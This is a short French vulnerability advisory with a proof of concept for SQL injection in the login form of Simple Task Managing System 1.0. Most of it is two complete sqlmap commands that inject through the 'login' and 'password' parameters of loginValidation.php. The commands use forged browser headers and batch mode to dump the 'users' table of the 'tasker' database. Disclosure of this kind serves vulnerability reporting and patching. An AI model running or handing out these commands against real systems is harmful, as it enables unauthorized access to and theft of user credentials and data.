Références:

1. Description:

Simple Task Managing System 1.0 permet une injection SQL via les paramètres 'login' et 'password' dans "/TaskManagingSystem/login.php". L'exploitation de ce problème pourrait permettre à un attaquant de compromettre l'application, d'accéder aux données ou de les modifier, ou d'exploiter les dernières vulnérabilités de la base de données sous-jacente.

2. Preuve de concept:

Dans sqlmap, utilisez le paramètre 'login' ou le paramètre 'password' pour extraire la table users de la base de données 'tasker'.
Exécutez ensuite SQLmap pour extraire les données de la base de données:

sqlmap.py -u "http://localhost/TaskManagingSystem/loginValidation.php" -p "login" --risk="3" --level="3" --method="POST" --data="login=test&password=" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/TaskManagingSystem/login.php" --dbms="MySQL" --batch --dbs -D tasker -T users --dump

sqlmap.py -u "http://localhost/TaskManagingSystem/loginValidation.php" -p "password" --risk="3" --level="3" --method="POST" --data="login=&password=test" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" --headers="Host:localhost\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\nAccept-Encoding:gzip, deflate\nAccept-Language:en-us,en;q=0.5\nCache-Control:no-cache\nContent-Type:application/x-www-form-urlencoded\nReferer:http://localhost/TaskManagingSystem/login.php" --dbms="MySQL" --batch --dbs -D tasker -T users --dump
